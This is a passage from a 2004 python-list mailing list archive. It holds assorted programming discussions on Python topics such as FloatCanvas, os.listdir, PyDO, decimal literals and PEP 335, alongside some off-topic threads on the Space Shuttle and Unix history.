#13 0x08146e76 in PyEval_EvalCodeEx (co=0x5353b188, globals=0x5352f534, locals=0x0, args=0x4060e6d8, 
    argcount=1, kws=0x0, kwcount=0, defs=0x0, defcount=0, closure=0x0) at Python/ceval.c:2663
#14 0x08198781 in function_call (func=0x53618c64, arg=0x4060e6c4, kw=0x0) at Objects/funcobject.c:504
#15 0x080eac4f in PyObject_Call (func=0x53618c64, arg=0x4060e6c4, kw=0x0) at Objects/abstract.c:1755
#16 0x080f2bc9 in instancemethod_call (func=0x53618c64, arg=0x4060e6c4, kw=0x0) at Objects/classobject.c:2433
#17 0x080eac4f in PyObject_Call (func=0x55aaf734, arg=0x4060e6c4, kw=0x0) at Objects/abstract.c:1755
#18 0x081485f0 in PyEval_CallObjectWithKeywords (func=0x55aaf734, arg=0x4060e6c4, kw=0x0)
    at Python/ceval.c:3346
#19 0x080eac1e in PyObject_CallObject (o=0x55aaf734, a=0x4060e6c4) at Objects/abstract.c:1746
#20 0x0806d9df in pbCallMethod (instance=0xba30858, method=0xc132460, brArguments=0x0, result=0xbfffc1ac)
    at pybreve.c:111
#21 0x080925c2 in brMethodCall (i=0xba30858, m=0xc132460, args=0x0, result=0xbfffc1ac) at breveObjectAPI.c:119
#22 0x080919cc in brEngineIterate (e=0x81f9a10) at engine.c:430
#23 0x0806e845 in brGlutLoop () at breve.c:243
#24 0x401bbc67 in glutMainLoop () from /usr/lib/libglut.so.3
#25 0x0806e738 in main (argc=3, argv=0xbfffeac4) at breve.c:201

Any idea what the problem may be?

Thanks,
Laurie



From squirrel at WPI.EDU  Wed Sep  1 22:23:40 2004
From: squirrel at WPI.EDU (Christopher T King)
Date: Wed, 1 Sep 2004 22:23:40 -0400
Subject: I've seen things you people wouldn't believe... ;-) (was Re:
 age of Python programmers)
In-Reply-To: <pan.2004.09.02.01.47.44.2269@chello.at>
References: <20040819231139.D039A1E4003@bag.python.org>
	<mailman.1999.1092969866.5135.python-list@python.org>
	<eyqWc.223375$j62.10948731@phobos.telenet-ops.be>
	<qVAWc.2328$MR2.9560@news1.mts.net>
	<njemi0hrm3jb1kdc8mhg8krd9a4qu3e894@4ax.com>
	<896dnZfdH8-l1rbcRVn-qw@powergate.ca>
	<Pine.LNX.4.44.0409011131230.23334-100000@ccc4.wpi.edu>
	<pan.2004.09.02.01.47.44.2269@chello.at>
Message-ID: <Pine.LNX.4.44.0409012218500.29696-100000@ccc4.wpi.edu>

On Thu, 2 Sep 2004, Christopher Koppler wrote:

> On Wed, 01 Sep 2004 11:54:41 -0400, Christopher T King wrote:
> 
> > If you want a story though, I interned at a Windows shop these past two
> > summers, where all their programming was done in VB embedded in Word
> > documents, or in a third-party supplied castrated version of VB (on the PC
> 
> That didn't just happen to be (expletive deleted) SAX Basic?

Nope.  It was a scripting language for a suite of (better left nameless)  
database software.  It was basically VB without all the constructs
Microsoft added to make it usable (the Array() function comes to mind).  
To top it off, the applications' COM interfaces were horrible (similar 
programs had wildly different APIs, both 0- and 1-based indexing were 
arbitrarily used, things that worked in the application didn't work in 
COM, etc.).



From john.thingstad at chello.no  Sat Sep  4 17:37:11 2004
From: john.thingstad at chello.no (John Thingstad)
Date: Sat, 04 Sep 2004 23:37:11 +0200
Subject: Xah Lee's Unixism
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<Os7_c.113460$Fg5.65632@attbi_s53>
	<1094257487.855439@teapot.planet.gong>
	<qs9_c.235307$8_6.157753@attbi_s04>
	<1094285694.404322@teapot.planet.gong>
	<irl_c.67482$jZ5.60995@clgrps13> <1bpt51alai.fsf@cs.nmsu.edu>
Message-ID: <opsdtnn9zgpqzri1@mjolner.upc.no>

On 04 Sep 2004 13:25:41 -0600, Joe Pfeiffer <pfeiffer at cs.nmsu.edu> wrote:

>> "Rupert Pigott" <roo at try-removing-this.darkboong.demon.co.uk> wrote in
>> message news:1094285694.404322 at teapot.planet.gong...
>>
>> > Consider this : If the tables were turned and an Aerojet booster
>> > exploded in the sky I'll bet the armchair QBs would be asking why
>> > were Aerojet chosen over Morton-Thiokol who had more experience of
>> > building large solid-fuel rockets.
>
> However, it would certainly not have failed at the segment joints.
>
> The more I read sci.space.tech the more convinced I am that the whole
> shuttle concept was fundamentally flawed from the beginnin  g.Putting
> the orbiter next to (rather than on top of) the huge tank of high
> explosive is not a  good idea.  Reentry from orbit is not the same as
> flying an airplane; ablative heat shields work and work well.

I second that.
Making a space veicle look like a plane is a lame idea.
It makes launch more complicated because the lift of the wings
gives force and this has to be continously compenated for by rotating the  
veicle.
(Does "roger, roll" ring a bell)
During reentry the wing surfaces and other protruding objects adds to the  
heat signature
and adds to the risc. (I think the Columia disaster illustrates this.)
The only time the plane shape makes sense is for the last 4 last minutes  
of a
mission. For this I think parachutes would be a better option.
In short it adds risk for very little gain.
The real reason NASA thought a plane would be great is because all
the astronaughts are previous test pilots. And, well, they like planes.
Ideally a space reentry veicle should look as much as a drop as possible
and should enter with the butt end. (Minimum air drag.)
Instead of fighting nature they should be using it..
This minimizes risc.

-- 
Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/


From ksenia at ksenia.nl  Sun Sep 19 02:10:20 2004
From: ksenia at ksenia.nl (Ksenia Marasanova)
Date: Sun, 19 Sep 2004 09:10:20 +0300
Subject: Question: tools for business apps development
In-Reply-To: <IeydnZPfHriLxt3cRVn-rA@powergate.ca>
References: <mailman.2847.1094238878.5135.python-list@python.org>
	<1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com>
	<864d370904090606465938fea5@mail.gmail.com>
	<mailman.2980.1094568177.5135.python-list@python.org>
	<Xns955F1AEE4BA29JanC@213.118.38.197>
	<yMadnZ0Q_8qlJKLcRVn-gA@powergate.ca>
	<mailman.3067.1094698639.5135.python-list@python.org>
	<2qavr3Ft7dgdU1@uni-berlin.de>
	<mailman.3092.1094733220.5135.python-list@python.org>
	<IeydnZPfHriLxt3cRVn-rA@powergate.ca>
Message-ID: <95E6D9A0-0A02-11D9-BEDA-000A957911BC@ksenia.nl>

>> -- Philosophically thinking, it's not free so it should not be used.
>> This a Stalmanish position, but it does have some power in the context
>> of a decision to use only free tools.
>
> The player is free.  And while the ability to create Flash files
> is also free, it's true that currently there are few useful tools
> to do that, and the alternatives are not only not free, but in
> some cases are rather expensive (especially compared to where the
> price of development tools has come in recent years).  I suspect
> that as Macromedia finds more of a market amongst developers for
> this sort of thing (as Dan suggests they are doing) they may
> discover that charging $500 for the development side isn't going to
> get them much of the market.  Maybe something less "flashy" and
> more staid and serious for more like $50-200 would get them into
> that area much more rapidly.
>

Unfortunatelly, the price of Macromedia's latest (and greatest, I 
think) development tool is very high - $12000.
The name is Flex: http://www.macromedia.com/software/flex/

Ksenia.




From jmfbahciv at aol.com  Fri Sep  3 06:47:32 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Fri, 03 Sep 04 10:47:32 GMT
Subject: Xah Lee's Unixism
References: <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<slrncjep0f.oa.amajorel@vulcain.knox.com>
	<opsdpprvxppqzri1@mjolner.upc.no>
	<slrncjf52a.oa.amajorel@vulcain.knox.com>
	<opsdp09czgpqzri1@mjolner.upc.no>
	<h0afj09mbdtleke0ughuntobho8f12o8ck@4ax.com>
	<opsdp4cjnapqzri1@mjolner.upc.no>
Message-ID: <41385e9b$0$19713$61fed72c@news.rcn.com>

In article <opsdp4cjnapqzri1 at mjolner.upc.no>,
   "John Thingstad" <john.thingstad at chello.no> wrote:
>On Thu, 02 Sep 2004 16:13:20 -0700, Alan Balmer <albalmer at att.net> wrote:
>
>> On Fri, 03 Sep 2004 00:40:14 +0200, "John Thingstad"
>> <john.thingstad at chello.no> wrote:
>>
>>> well documented at the time. Linux Pauling started out with minix and  
>>> then
>>> went on to make a (mostly) posix compliant unix.
>>
>> Linux Pauling? I know about Linus Torvalds and Linus Pauling . I don't
>> think the latter had much to do with Linux.
>>
>
>lol.. oops. No Pauling was a nobel prize winning chemist.
>No idea why that came out. (assosiative memory can be a bich)
>
The guys figured it out.  You have an interested associative
memory :-).  

/BAH

Subtract a hundred and four for e-mail.


From erik at heneryd.com  Mon Sep 13 19:53:41 2004
From: erik at heneryd.com (Erik Heneryd)
Date: Tue, 14 Sep 2004 01:53:41 +0200
Subject: PIL - setting the width of lines in ImageDraw
In-Reply-To: <oYadnekC_MYBi9vcRVn-pw@comcast.com>
References: <4145fc21$0$273$edfadb0f@dread12.news.tele.dk><eJCdnTShe4h9YNjcRVn-ug@comcast.com>	<mailman.3265.1095107443.5135.python-list@python.org>
	<oYadnekC_MYBi9vcRVn-pw@comcast.com>
Message-ID: <41463305.5020800@heneryd.com>

Larry Bates wrote:
> There's nothing wrong with "slanted" rectangles.
> In PIL you just define upper left and lower right
> coordinates of the rectangle in pixels.  That's
> what a thick line would do anyway.

Really?  Didn't know that.  Please show me how.


Erik


From apardon at forel.vub.ac.be  Thu Sep  2 07:38:55 2004
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 2 Sep 2004 11:38:55 GMT
Subject: allowing braces around suites
References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no>
	<cgn73r$scr$1@nntp0.reith.bbc.co.uk>
	<mailman.2515.1093608707.5135.python-list@python.org>
	<1rk6vkeo5d.fsf@rovereto.ifi.uio.no>
	<87hdqok9i6.fsf@sinken.local.csis.hku.hk>
	<1rfz68ely9.fsf@rovereto.ifi.uio.no>
	<876574k7du.fsf@sinken.local.csis.hku.hk>
	<1r3c28ejis.fsf@rovereto.ifi.uio.no>
	<zILXc.54863$xi6.26091@fe2.texas.rr.com>
	<1rllg0cb3m.fsf@rovereto.ifi.uio.no>
	<874qmovxna.fsf@sinken.local.csis.hku.hk>
	<slrncj8kv2.kp.apardon@trout.vub.ac.be>
	<slrncj8mvt.djm.sholden@flexal.cs.usyd.edu.au>
	<slrncj94hr.kp.apardon@trout.vub.ac.be>
	<du7oekrnwc8.fsf@amadeus.cc.tut.fi>
	<slrncjaq3l.kp.apardon@trout.vub.ac.be>
	<87zn49sdtx.fsf@sinken.local.csis.hku.hk>
Message-ID: <slrncje1l1.7or.apardon@rcpc42.vub.ac.be>

Op 2004-09-02, Isaac To schreef <iketo2 at netscape.net>:
>>>>>> "Antoon" == Antoon Pardon <apardon at forel.vub.ac.be> writes:
>
>    Antoon> If you need a function or class just to avoid nesting,
>    Antoon> then IMO you have only camoeflaged it. In order to
>    Antoon> understand what is going on you still need to understand
>    Antoon> how the nesting of a number of controls prroduce a certain
>    Antoon> result and when you write a function just to avoid nesting
>    Antoon> it often enough makes readablity harder.
>
> Splitting a deeply nested function in the wrong way can make a program
> harder to understand.  But that doesn't mean that in such case what
> you should do is to leave it as is.  It's the comparsion of something
> bad with something that is just as bad.  In either way that is bad:
> the program is easy enough to understand only by the original writer,
> and only at the instant when the code is written.

I think the respondent here are missing the point.

I have fond specific nested code which was easier to understand
when the nesting was ended by an endmarker then when it was not.

Now should I conclude that all such code is nested too deeply
and should be decomposed in subfunctions? Because that is the
impression I'm getting from the answers here.

Or is there a problem in accepting that such code exists?

Now if we accept that such code exists and it doesn't imply
the code is nested too deeply, I have the following question.

Python seems to do its best so that there is only one way to
do things. Python seems also to do its best force people
to write readable easily maintainable code. Since end markers
can be a tool in this and the only way to have only one way
to do this is if the language includes it, So why doesn't
python has them.

-- 
Antoon Pardon


From http  Sun Sep 19 15:40:38 2004
From: http (Paul Rubin)
Date: 19 Sep 2004 12:40:38 -0700
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<pan.2004.09.19.13.27.17.613143@jerf.org>
	<Ooa3d.318$Pz3.245@trndny01>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
	<mailman.3494.1095586574.5135.python-list@python.org>
	<7xfz5ein0h.fsf@ruckus.brouhaha.com>
	<1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com>
Message-ID: <7xwtyqvyh5.fsf@ruckus.brouhaha.com>

aleaxit at yahoo.com (Alex Martelli) writes:
> Yes, but applying rational arithmetic by default might slow some
> computations far too much for beginners' liking!

I dunno, lots of Lisp dialects do rational arithmetic by default.
> 
> Well, you can pretty easily use constructive reals with Python, see for
> example <http://more.btexact.com/people/briggsk2/XR.html> -- that's a
> vastly vaster set than just algebraic numbers.  If we DO want precision,
> after all, why should sqrt(5) be more important than log(3)?

I don't know that it's generally tractable to do exact computation on
constructive reals.  How do you implement comparison (<, >, ==)?


From kjetilho at yksi.ifi.uio.no  Mon Sep 27 20:53:05 2004
From: kjetilho at yksi.ifi.uio.no (Kjetil Torgrim Homme)
Date: Tue, 28 Sep 2004 02:53:05 +0200
Subject: Optimizing tips for os.listdir
References: <ikrfl05b77p2jlbrp3kehvf5o3u8jp35od@4ax.com>
	<slrnclg6vb.rjj.nick@irishsea.home.craig-wood.com>
Message-ID: <1rfz531afi.fsf@glesvat.ifi.uio.no>

[Nick Craig-Wood]:
>
>   [Thomas]:
>   >
>   > I'm doing this :
>   >
>   > [os.path.join(path, p) for p in os.listdir(path) \
>   >                            if os.path.isdir(os.path.join(path, p))]
>
>   Under a unix based OS the above will translate to 1
>   opendir()/readdir()/closedir() and 1 stat() for each file.  There
>   isn't a quicker way in terms of system calls AFAIK.

there's a well known trick for Unix file systems[1]:

if a directory has a link count of exactly 2, there are no
subdirectories.  if there was a subdirectory, it would contain a ".."
refering to its parent, thereby raising the parent's link count to 3.

(it's not clear to me whether this is helpful for the OP, though.)


[1] the behaviour is not mandated by POSIX.  e.g., a mounted ISO
    9660-file system will not necessarily obey this "rule".  GNU find
    relies on it unless you explicitly specify "-noleaf", so it works
    pretty well in practice.
-- 
Kjetil T.


From smulloni at gmail.com  Tue Sep  7 11:52:34 2004
From: smulloni at gmail.com (Jacob Smullyan)
Date: 7 Sep 2004 08:52:34 -0700
Subject: Deleting rows using PyDO from SkunkWeb
References: <cg2719$c8$1@korweta.task.gda.pl>
Message-ID: <73d143a0.0409070752.26795880@posting.google.com>

Marcin Jurczuk <mj-usunto at tkb.pl> wrote in message news:<cg2719$c8$1 at korweta.task.gda.pl>...
> Hello group.
> Could someone descripe how to delete many row at one time 
> from MySQL database using SkunkWeb PyDO pacgage ??
> Documentation is very short about that ...
> Assume that Base is class define like in PyDO doc, so
> Base.new(...) adds new row..
> Documetation show ony delete() without any arguments.
> SQL query is like "DELETE FROM SESSIONS WHERE acc_time < '398984353'"

I just came across this by accident; PyDO questions are better asked
on the skunkweb mailing list.

But to answer it quickly -- the delete() method deletes a particular
instance (one row).  If you want delete a range of rows with a single
SQL statement, the best way is simply to use SQL, accessing the
underlying db connection:

  c=Sessions.getDBI().conn.cursor()
  c.execute("DELETE FROM SESSIONS WHERE acc_time < '333333'")
  # this is equivalent to Sessions.getDBI().conn.commit()
  Sessions.commit()

Hope that helps,

Jacob Smullyan


From Chris.Barker at noaa.gov  Tue Sep 14 20:05:05 2004
From: Chris.Barker at noaa.gov (Christopher Barker)
Date: Tue, 14 Sep 2004 17:05:05 -0700
Subject: WxInter
In-Reply-To: <ud60pw89p.fsf@rk-speed-rugby.dk>
References: <mailman.3148.1094829029.5135.python-list@python.org>
	<chsieg$7q1$1@news-reader3.wanadoo.fr>
	<ud60pw89p.fsf@rk-speed-rugby.dk>
Message-ID: <ci82q0$ekh$1@news.nems.noaa.gov>

Brian Elmegaard wrote:
> Eric Brunel <eric_brunel at despammed.com> writes:
>>quite far from it: I didn't see any means to move canvas items
>>individually, or group them with tags, or knowing which items are at a
>>given position, all things a tk canvas can do very easily...
> 
> You can. Have a look at pySketch which comes with wx as one of the
> sample apps.

Well, pySketch does a lot of that, but it wasn't easy, and I don't thin 
the code was written in a way that it would be easy to just use it in 
your own app.

>>canvas item is just a bunch of points. In tk, it remains a whole item
>>which can be manipulated as a whole. Basically, in tk, canvases are
>>for vector drawing; in other toolkits, they're more for bitmap
>>drawing. And this makes quite a difference...

Check out my FloatCanvas for wxPython:

http://home.comcast.net/~chrishbarker/FloatCanvas/

It's also in the wxPython lib and demo in recent versions.

Sorry I don't have a nifty page describing it, but there is a demo that 
comes with it. It does do most of what that TK canvas does, with a few 
exceptions:

1) no tags, but you can put a bunch of FloatCanvas DrawObjects in a 
list, and manipulate them that way. I really haven't seen that tags are 
that useful, but if you think so, I'll accept a patch.

2) As the name implies, it works with arbitrary floating point 
coordinates, scaling them to pixels for you. It then provides full 
zooming and scrolling. I like this, as I use it to draw data, which is 
never in pixel coords to begin with.

3) It provides a simple flat-earth projection for map data.

4) the event binding is different, perhaps a little more complex, but 
also quite powerful. Here's a version of most of your example. wxPython 
requires a bit more overhead in terms of creating Frame objects, etc, 
but you'd do that anyway in any but a trivial app:

#!/usr/bin/env python2.3

import wx
import fixdc

from wx.lib.floatcanvas import NavCanvas, FloatCanvas

class DrawFrame(wx.Frame):

     """
     A frame used for the FloatCanvas Demo

     """

     def __init__(self,parent, id,title,position,size):
         wx.Frame.__init__(self,parent, id,title,position, size)

         # Add the Canvas
         Canvas = NavCanvas.NavCanvas(self,-1,(500,500),
                                           ProjectionFun = None,
                                           Debug = 0,
                                           BackgroundColor = "DARK SLATE 
BLUE",
                                           )

         self.Canvas = Canvas

         self.circle1 = Canvas.AddCircle(10, 10, 20, FillColor='red')

         # Event binding on a single item
         self.circle1.Bind(FloatCanvas.EVT_FC_LEFT_DOWN, self.bindingA)
         # or to the right button:
         self.circle1.Bind(FloatCanvas.EVT_FC_RIGHT_DOWN, self.bindingB)

         ## A group of objects in a list:
         self.ObjectsList = []
         self.ObjectsList.append(Canvas.AddRectangle(30, 30, 30, 20, 
FillColor = "Blue"))
 
self.ObjectsList.append(Canvas.AddPolygon(((70,40),(80,60),(90,70),(65,80)),
                                                  FillColor = "Purple"))

         self.BindAll()

         self.Show(True)
         self.Canvas.ZoomToBB()

         return None

     def BindAll(self):
         for object in self.ObjectsList:
             object.Bind(FloatCanvas.EVT_FC_LEFT_DOWN, self.bindingC)

     def bindingA(self, event):
         print "I'm circle1!"

     def bindingB(self, event):
         print "I'm circle1 with the right button!"

     def bindingC(self, event):
         print "I'm an object in the list!"

app = wx.PySimpleApp()
DrawFrame(None, -1, "FloatCanvas Demo App", wx.DefaultPosition, (700,700) )
app.MainLoop()


Be sure to let me know if you' re using it, I may have fixed bugs since 
the last release.

-Chris





-- 
Christopher Barker, Ph.D.
Oceanographer
                                     		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker at noaa.gov


From roy at panix.com  Mon Sep  6 09:10:49 2004
From: roy at panix.com (Roy Smith)
Date: Mon, 06 Sep 2004 09:10:49 -0400
Subject: Secure delete with python
References: <pan.2004.09.06.13.01.15.399532@REMOVE_mindless_ME.com>
Message-ID: <roy-5F73E7.09104806092004@reader1.panix.com>

Boris Genc <boris.genc at REMOVE_mindless_ME.com> wrote:

> Hi everybody.
> I was wandering is there a method or a function already implemented in
> python that supports secure deletion of data?
> 
> I'm interested in something which is able to securely wipe data (from
> single file to bunch of MB's), and that should run both on Linux and
> Windows.

When people talk about secure deletion of data, they generally mean 
things like over-writing the physical disk blocks that used to hold the 
file with random data.  The details of how you do this is extremely 
operating system dependent (and probably also on what kind of file 
system, hardware, etc).  Not to mention that the definition of "secure" 
will vary with the type of data, and who's doing it (i.e. what I 
consider secure probably doesn't pass muster with the military).


From dperl at rogers.com  Wed Sep  1 14:58:42 2004
From: dperl at rogers.com (Dan Perl)
Date: Wed, 01 Sep 2004 18:58:42 GMT
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>
	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>
	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>
	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>
	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>
	<sweNBls/KXoF089yn@the-wire.com>
	<cXnZc.158891$UTP.27028@twister01.bloor.is.net.cable.rogers.com>
Message-ID: <CZoZc.159227$UTP.62107@twister01.bloor.is.net.cable.rogers.com>

After all this discussion, what do people think about this code?
    class test(object):
        def __new__(typ):
            obj = object.__new__(typ)
            obj.attr1 = 666
            return obj

    class derived(test):
        def __init__(self):
            self.attr2 = 111

    d = derived()
    print d.attr1, d.attr2
    print isinstance(d, test)

The output:
    666 111
    True

At least it works.  The 'test' superclass defines an instance attribute
attr1 and it initializes it with a default.  The 'derived' subclass inherits
the attribute (implicitly, BTW ;-)) and that happens without an __init__ in
the superclass that would have to be invoked in the subclass.

Dan




From peter at engcorp.com  Fri Sep 24 16:18:57 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Sep 2004 16:18:57 -0400
Subject: Why not FP for Money?
In-Reply-To: <mailman.3872.1096056806.5135.python-list@python.org>
References: <A128D751272CD411BC9200508BC2194D053C79D3@escpl.tcp.com.ar>
	<mailman.3872.1096056806.5135.python-list@python.org>
Message-ID: <JtqdnbJm5KusHMncRVn-pA@powergate.ca>

Carlos Ribeiro wrote:
> 1) 'd' suffix:  a = 10.123d
> 2) '$ prefix:  a = $10.123
> 
> Both alternatives are clean and easy to read, even for novices. The
> 'd' suffix is closer to what Python does already for longs (the 'L'
> suffix). The dollar sign is easily recognized, even outside US, as a
> money sign (it would be better for money/fixed point, really). 

By the way, a huge -1 on using $.  Not only does it
really only mean "money" in North America, but there's
no good reason to use a symbol for money when the
concept is much more general than that.

Furthermore, the use of a leading $ on literals in
programming has a very long history in the world of
assembly language programming, where it means hexadecimal,
similar to using a trailing h ($12f7 means the same as 12F7h).

It would be a significant mistake to pick the dollar sign
merely because of the very limited association it has
with decimal values.

(Note that a trailing d was also sometimes used in
assembly, along with trailing h, o, and b, in this case
to mean "base 10".  Since that was generally the default,
the usage was rare and in any case shouldn't conflict
with the proposed use here...)

-Peter


From jeff at ccvcorp.com  Tue Sep 28 16:26:19 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Tue, 28 Sep 2004 13:26:19 -0700
Subject: os.system  vs. Py2Exe
In-Reply-To: <81a41dd.0409281107.5fd1c525@posting.google.com>
References: <81a41dd.0409280200.1a74edd1@posting.google.com>
	<77ce170c.0409280647.7e98e76d@posting.google.com>
	<81a41dd.0409281107.5fd1c525@posting.google.com>
Message-ID: <10lji3nso28vge5@corp.supernews.com>

Lad wrote:

>gjbaker at usa.com (Greg) wrote in message news:<77ce170c.0409280647.7e98e76d at posting.google.com>...
>  
>
>>export at hope.cz (Lad) wrote in message news:<81a41dd.0409280200.1a74edd1 at posting.google.com>...
>>    
>>
>>>I used Py2exe to compile my script( I use XP).
>>>The compiled script works OK on my XP where Python is installed.
>>>But when I install the compiled exe to another computer,
>>> 
>>>os.system 
>>>
>>>causes the following  error:
>>>Bad file or command name
>>>
>>>Any help would be appreciated.
>>>Lad
>>>      
>>>
>>Did you install the python dll as well?
>>    
>>
>
>Yes, I installed all files( I think) because everything else works.
> Only os.system does NOT. 
>I use os.system to open txt file.I use it like os.system('Myfile.txt')
>
>When I use os.startfile instead  of os.system it works well.
>  
>

I suspect that the situation here is that you've got some unusual WinXP 
setting that's telling it that .txt files are executable in some way.  
If os.system('file.txt') works on your system, then it's your system 
that's the odd one; Python (and the other computer) are behaving as 
expected.  (It's possible, in Win2K/WinXP, to register particular 
extensions as 'executable' through a specific other program; this is how 
.py scripts are handled, so typing 'script.py' is equivalent to typing 
'python script.py'.)

Remember, os.system() is roughly equivalent to typing the argument at a 
command line.  Does typing "myfile.txt" at a commandline prompt open 
that file in a text editor?  (Hint -- it shouldn't, under normal 
circumstances.)

In this case, I'm pretty sure that using os.startfile() is the 
appropriate way of doing what you want.

Jeff Shannon
Technician/Programmer
Credit International



From gerrit at nl.linux.org  Sat Sep 11 05:57:22 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Sat, 11 Sep 2004 11:57:22 +0200
Subject: PEP 335: Overloadable Boolean Operators - Official Posting
In-Reply-To: <41419A03.90506@sympatico.ca>
References: <2qccb9Fuac61U1@uni-berlin.de> <41419A03.90506@sympatico.ca>
Message-ID: <20040911095722.GA25280@nl.linux.org>

Colin J. Williams wrote:
> I understand that the intent, eventually, is that the basic types become 
> classes.
> 
> Would making Bool a class permit the achievement of these objectives?
> 
> If Bool were a class, then subclasses could use __repr__ to provide 
> alternative responses to False/True, such as No/Yes or Fail/OK.

No, this has nothing to do with it. The representation is not the issue.
The issue is that currently, 'a and b' returns either a or b. Suppose we
have an array A = [a1, b1, c1], B = [a2, b2, c2], A and B will currently
always return A. However, we may want it to return [a1 and a2, b1 and
b2, c1 and c2]. That is what this PEP is about.

The lack op ability to subclass bool is something different. I don't
know why that is.

regards,
Gerrit.

-- 
Weather in Twenthe, Netherlands 11/09 11:25:
	19.0?C   wind 4.0 m/s SSW (57 m above NAP)
-- 
Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL.
Experiences with Asperger's Syndrome:
	EN http://topjaklont.student.utwente.nl/english/
	NL http://topjaklont.student.utwente.nl/


From osuchw at ecn.ab.ca  Sun Sep  5 20:38:19 2004
From: osuchw at ecn.ab.ca (Waldemar Osuch)
Date: Mon, 06 Sep 2004 00:38:19 GMT
Subject: =?iso-8859-2?q?Przysz=B3o=B6=E6_modu=B3u_string?=
In-Reply-To: <1os34tkrht5f4.337kwncvqo41$.dlg@40tude.net>
References: <1os34tkrht5f4.337kwncvqo41$.dlg@40tude.net>
Message-ID: <%jO_c.325351$gE.240400@pd7tw3no>

I think you meant to send the message to pl.comp.lang.python but
I will try to answer it anyway.

Nie sadze ze wielu ludzi na comp.lang.python zrozumialo o co sie
pytasz :-).

JZ wrote:
> zastanawia mnie w jaki spos?b omin?? 
> korzystanie z tego modu?u podczas korzystania z map():
> 
> from string import upper
> low = ['a', 'b', 'c']
> high = map(upper, low)

Mozna tak:

low = ['a','b','c']
map(str.upper, low)
['A', 'B', 'C']

waldek


From adalke at mindspring.com  Tue Sep 21 16:04:07 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Tue, 21 Sep 2004 20:04:07 GMT
Subject: Python 3.0, rich comparisons and sorting order
In-Reply-To: <mailman.3666.1095791375.5135.python-list@python.org>
References: <864d370904092109509df67ee@mail.gmail.com>	<loom.20040921T192348-961@post.gmane.org>	<20040921173455.GB2891@unununium.org>	<loom.20040921T193847-890@post.gmane.org>
	<mailman.3666.1095791375.5135.python-list@python.org>
Message-ID: <XO%3d.1684$g42.1293@newsread3.news.pas.earthlink.net>

[Sorry, hit 'Send' by accident]

Phil Frost wrote:
> The right question here is, "is there a reason for mappings with
> heterogeneous key types?" It's not something that I do often, but it's
> something that's important to have. Dynamic typing is a good thing.

Though it's a different question.  mapping keys only
need to define __hash__ and __eq__.  That's easier than
defining an ordering.

				Andrew
				dalke at dalkescientific.com


From forestiero at qwest.net  Mon Sep 13 17:32:41 2004
From: forestiero at qwest.net (DogWalker)
Date: Mon, 13 Sep 2004 14:32:41 -0700
Subject: up/down arrows in 2.3.4 interactiv
References: <ci4i04$1h1v$1@ulysses.noc.ntua.gr>
Message-ID: <ci53lr$4n4$1@sea.gmane.org>

Besides the good advice from others you might want to do the following:

  [1] Read the readme well! Especially the section about building.
  [2] Run configure  like this:
       configure >configure.log 2>&1
  [3] Open config.log and configure.log in a word processor and search for
"no"
        and "fail"
        (this will tell you what the configure's view of your world is: such
as it  cannot find some module's headers and other anomalies. You'll have to
fix the problems with modules you want to use.
  [4] do the same thing with make.

  A python gets along without arms, legs and batteries, but Python doesn't
do well at all.

"Jerald" <jfj at freemail.gr> wrote in message
news:ci4i04$1h1v$1 at ulysses.noc.ntua.gr...
> Hi.
>
> I've just installed 2.3.4 from the source on a linux box.
> In the interactive mode, up/down arrows do not work.
> When I press 'up' python prints '^[[A' and down gives '^[[B'
> What is wrong?
>
> Thanks,
>
> Gerald
> -- 
> http://mail.python.org/mailman/listinfo/python-list
>




From espen at *do-not-spam-me*.vestre.net  Fri Sep  3 08:13:07 2004
From: espen at *do-not-spam-me*.vestre.net (Espen Vestre)
Date: Fri, 03 Sep 2004 14:13:07 +0200
Subject: Xah Lee's Unixism
References: <slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no> <41376DCA.B833324A@yahoo.com>
	<41385f7f$0$19713$61fed72c@news.rcn.com>
Message-ID: <kw1xhjczzg.fsf@merced.netfonds.no>

jmfbahciv at aol.com writes:

> V3?  I thought V4 was their last good one before they started to
> put apps into execmode. 

3.51 was the last good one.
-- 
  (espen)

